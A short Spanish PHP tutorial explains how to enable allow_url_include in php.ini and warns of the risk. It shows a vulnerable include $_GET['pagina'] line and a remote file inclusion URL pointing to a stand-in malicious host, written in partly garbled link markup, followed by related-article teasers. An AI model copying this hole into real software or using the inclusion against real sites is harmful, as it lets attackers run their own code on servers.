PHP 5 – Utilizar una url externa con la función include

última actualización el 5 de noviembre de 2009, 17:06 por Carlos-vialfa
Publicado por Carlos-vialfa

La opción que permite incluir una url externa (es decir absoluta, del tipo http://site.tld/url) mediante la función include, está deshabilitada por defecto en la versión 5 y posteriores de PHP. Para habilitarla, en tu servidor pon estas dos líneas en el fichero php.ini.

allow_url_include = 1
allow_url_fopen = 1

Para mayor información, ver Aquí

IMPORTANTE: Sin embargo, es muy peligroso habilitar la opción allow_url_include. En ciertos casos, puede ocasionar graves fallas de seguridad si el desarrollador es negligente.

Veamos un ejemplo simple, supongamos que tienes un script PHP que incluye una página en función de lo que se le da como argumentos vía la URL.
Es decir que tecleando http://tusitio.flet/mipagina.php?page=pagina_a_incluir.php vas a incluir la página “pagina_a_incluir.php”
Si tu código se parece a esto: include $_GET['pagina']; entonces estarás dejando la puerta abierta para que cualquiera añada código externo. Es así que nada impide que yo pueda incluir una página:

href= <a href='http://sitiomalicioso.prout/paginamaliciosa.php'' target='_blank'>http://sitiomalicioso.prout/paginamaliciosa.php'</a> target='_blank' rel='nofollow'>http://tusitio.flet/mipagina.php?http://sitiomalicioso.prout/paginamaliciosa.php</a>

Por lo tanto hay que estar atentos si habilitamos esta opción.

El artículo original fue escrito por aruju, contribuidor de CommentCaMarche
Mejores respuestas para « PHP 5 – Utilizar una url externa con la función include » en :
Utilizar el correo electrónico Ver Uso del correo electrónico Un cliente de correo electrónico, un programa de software para escribir, corregir y enviar correos electrónicos, generalmente está formado por muchas ventanas. Las ventanas principales de este software son: Entrante,...
PHP – Limpiar una cadena de caracteres VerAquí veremos una función en PHP que te puede ser muy útil, sobretodo si utilizas el [ URL] Rewriting. Esta función permite transformar los caracteres de cualquier cadena de caracteres en una cadena sin acentos, quitando los caracteres especiales y...
[PHP] Headers already sent by..... VerCuando utilizamos funciones PHP que manipulan los encabezados http, como por ejemplo: header() setcookie() session_start() Es importante utilizar estas funciones antes de generar el más mínimo flujo hacia el cliente. Desde el momento en que...
Ordenar una matriz sin utilizar la función sort VerOrdenar una matriz sin utilizar la función sort Lo primero que hacemos es inicializar una variable $max con el primer valor de la matriz. Luego hacemos un bucle mientras la matriz aun contenga elementos. La función splice tiene el rol de vaciar...
Descargar PHP Editor VerPHP Editor es una herramienta perfecta para los programadores en lenguaje PHP, además puede ser utilizado para HTML, SQL, Java, JavaScript, C++, Python, etc. Con PHP Editor podrás trabajar con varios documentos al mismo tiempo, éste incorpora un...
Equipos - Introducción a la memoria VerEl rol de la memoria El término "memoria" se aplica a cualquier componente electrónico capaz de almacenar datos en forma temporal. Existen dos categorías principales de memorias: La memoria interna que almacena datos en forma temporal mientras...
DirectX Ver¿Qué es DirectX? DirectX es un conjunto de drivers que se utiliza para diversas funciones. Tiene como propósito juntar todos los drivers y asociarlos con una sola interfaz de programación de aplicaciones. Por lo tanto, DirectX representa una interfaz...
URL Ver¿Qué es URL? URL (Localizador uniforme de recursos) es un formato de asignación de nombres universal, utilizado para indicar un recurso en Internet. Es una cadena de caracteres ASCII imprimible que se divide en cinco partes: el nombre del protocolo:...